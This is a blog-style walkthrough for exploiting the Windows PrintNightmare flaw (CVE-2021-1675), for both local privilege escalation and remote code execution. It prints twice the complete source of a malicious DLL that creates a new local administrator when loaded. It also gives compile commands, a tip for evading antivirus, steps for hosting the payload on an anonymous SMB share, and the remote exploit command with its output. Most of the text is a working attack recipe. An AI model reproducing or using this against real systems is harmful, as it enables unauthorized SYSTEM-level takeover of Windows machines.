Exploiting Printnightmare (CVE-2021-1675)

Windows by design allows authenticated users to install and add drivers to a printer impersonating SYSTEM privileges, which could be exploited to achieve LPE and RCE (CVE-2021-1675). The only known mitigation for this vulnerability until this date (Wed, 21 July 2021) is to disable the print spooler service.

Local Privilege Escalation (LPE)

To elevate our privileges inside a host through Printnightmare (LPE), we can use the following exploit (developed by Caleb Stewart and John Hammond):

It is a pure powershell implementation of CVE-2021-1675 and I had more success with this one against AVs than those C# compiled binaries.

The powershell script by default will use a “nightmare.dll”, this dll is obviously already mapped by AVs and will be immediately detected. Let’s create our DLL. I will name it as “pwn.dll”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c net user ferreirasc BadPass1BadPass3 /add /y 2>C:\\error.txt");
        system("cmd.exe /c net localgroup administrators ferreirasc /add");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Note: The password BadPass1BadPass3 will comply the most existing password policies… the flag /y is important to bypass that warning indicating that “Windows prior to Windows 2000” will not be able to use this account blablabla…

Compile it using gcc-mingw-w64-x86-64:

apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc pwn.c -o pwn.dll -shared

Now, inside the host:

PS C:\Users\regular_user\Desktop> Import-Module .\CVE-2021-1675.ps1
PS C:\Users\regular_user\Desktop> Invoke-Nightmare -DLL "C:\Users\regular_user\AppData\Local\Temp\pwn.dll" -DriverName "mydriver"
[+] using user-supplied payload at C:\Users\regular_user\AppData\Local\Temp\pwn.dll
[!] ignoring NewUser and NewPassword arguments
[+] using pDriverPath = "C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll"
[+] driver appears to have been loaded!

If you get an output like that, probably the exploit completed successfully and a new local administrator user was added! :^)

If it did not work, a troubleshooting start could be:

  1. Check the ERR file… C:\error.txt.
  2. Check the spoolsv.exe on Process Explorer when running the exploit. Enable DLLs view… View > Lower Pane View > DLLs.
  3. See if the driver “mydriver” was really added. Powershell “Get-PrinterDriver -Name *” should do the work. I would also check details about the driver… “Get-PrinterDriver -Name “mydriver” | Format-List” … can you see your DLL mapped on DataFile and ConfigFile?
    4) Why not… check if spooler service is really running. lol… Run > services.msc … check for “Print Spooler”.

Remote Code Execution (RCE)

To achieve RCE, we can use the following exploit (from cube0x0):

  • https://github.com/cube0x0/CVE-2021-1675

I’ve never tested the C# implementation, so the steps ahead will be applied to the impacket implementation.

In order to check if the host is vulnerable to PrintNightmare, simply run (using as an example the target 192.168.1.1):

rpcdump.py @192.168.1.1 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol 

If you get a message like this, the host is probably vulnerable. If you need to check the vulnerability in a network range, a way could be using the ItWasAllADream from byt3bl33d3r (github.com/byt3bl33d3r/ItWasAllADream).

Proceeding, let’s create our “pwn.dll” DLL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c net user ferreirasc BadPass1BadPass3 /add /y 2>C:\\error.txt");
        system("cmd.exe /c net localgroup administrators ferreirasc /add");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compile it using gcc-mingw-w64-x86-64:

apt-get install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc pwn.c -o /tmp/pwn.dll -shared

Now let’s prepare the environment to run the exploit. This exploit uses a modified version of impacket… so:

git clone https://github.com/cube0x0/CVE-2021-1675
cd CVE-2021-1675
git clone https://github.com/cube0x0/impacket
python3 -m venv venv
source venv/bin/activate
cd impacket/
python3 setup.py install

Having installed the “cube0x0” version of impacket, let’s prepare our smb server to host the pwn.dll. I’m gonna use the pre-installed samba instead of smbclient.py (from impacket), as I had no success with smbclient.py for some reason.

Copy the https://raw.githubusercontent.com/ferreirasc/scripts/master/smb.conf to your /etc/samba/smb.conf.

wget https://raw.githubusercontent.com/ferreirasc/scripts/master/smb.conf -O /etc/samba/smb.conf

Basically, this conf file is allowing anonymous access to a SMB share located at /srv/smb for the user nobody. Thus, let’s create this folder:

mkdir -p /srv/smb
cp /tmp/pwn.dll /srv/smb
chown -R nobody:root /srv/smb/
chmod 777 /srv/smb/pwn.dll
service smbd restart

Check with crackmapexec if the smb share is running:

┌──(venv)(root💀kali)-[/tmp/CVE-2021-1675]
└─ crackmapexec smb 127.0.0.1 -u '' -p '' --shares
SMB         127.0.0.1       445    KALI             [*] Windows 6.1 Build 0 (name:KALI) (domain:) (signing:False) (SMBv1:False)
SMB         127.0.0.1       445    KALI             [+] \:
SMB         127.0.0.1       445    KALI             [+] Enumerated shares
SMB         127.0.0.1       445    KALI             Share           Permissions     Remark
SMB         127.0.0.1       445    KALI             -----           -----------     ------
SMB         127.0.0.1       445    KALI             smb             READ,WRITE      Samba
SMB         127.0.0.1       445    KALI             print$                          Printer Drivers
SMB         127.0.0.1       445    KALI             IPC$                            IPC Service (Samba 4.13.4-Debian)

Ok… everything looks right… let’s run the exploit:

  • Kali box: 192.168.1.2
  • Target: 192.168.1.1
┌──(venv)(root💀kali)-[/tmp/CVE-2021-1675]
└─ python3 CVE-2021-1675.py 'LAB.LOCAL/isecurity:BadPass42@192.168.1.1' '\\192.168.1.2\smb\pwn.dll'
[*] Connecting to ncacn_np:192.168.1.1[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_15f9259a029d56f4\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.1.2\smb\pwn.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[*] Stage0: 0

If you get a message like this, the exploit should have completed successfully!

Written on July 21, 2021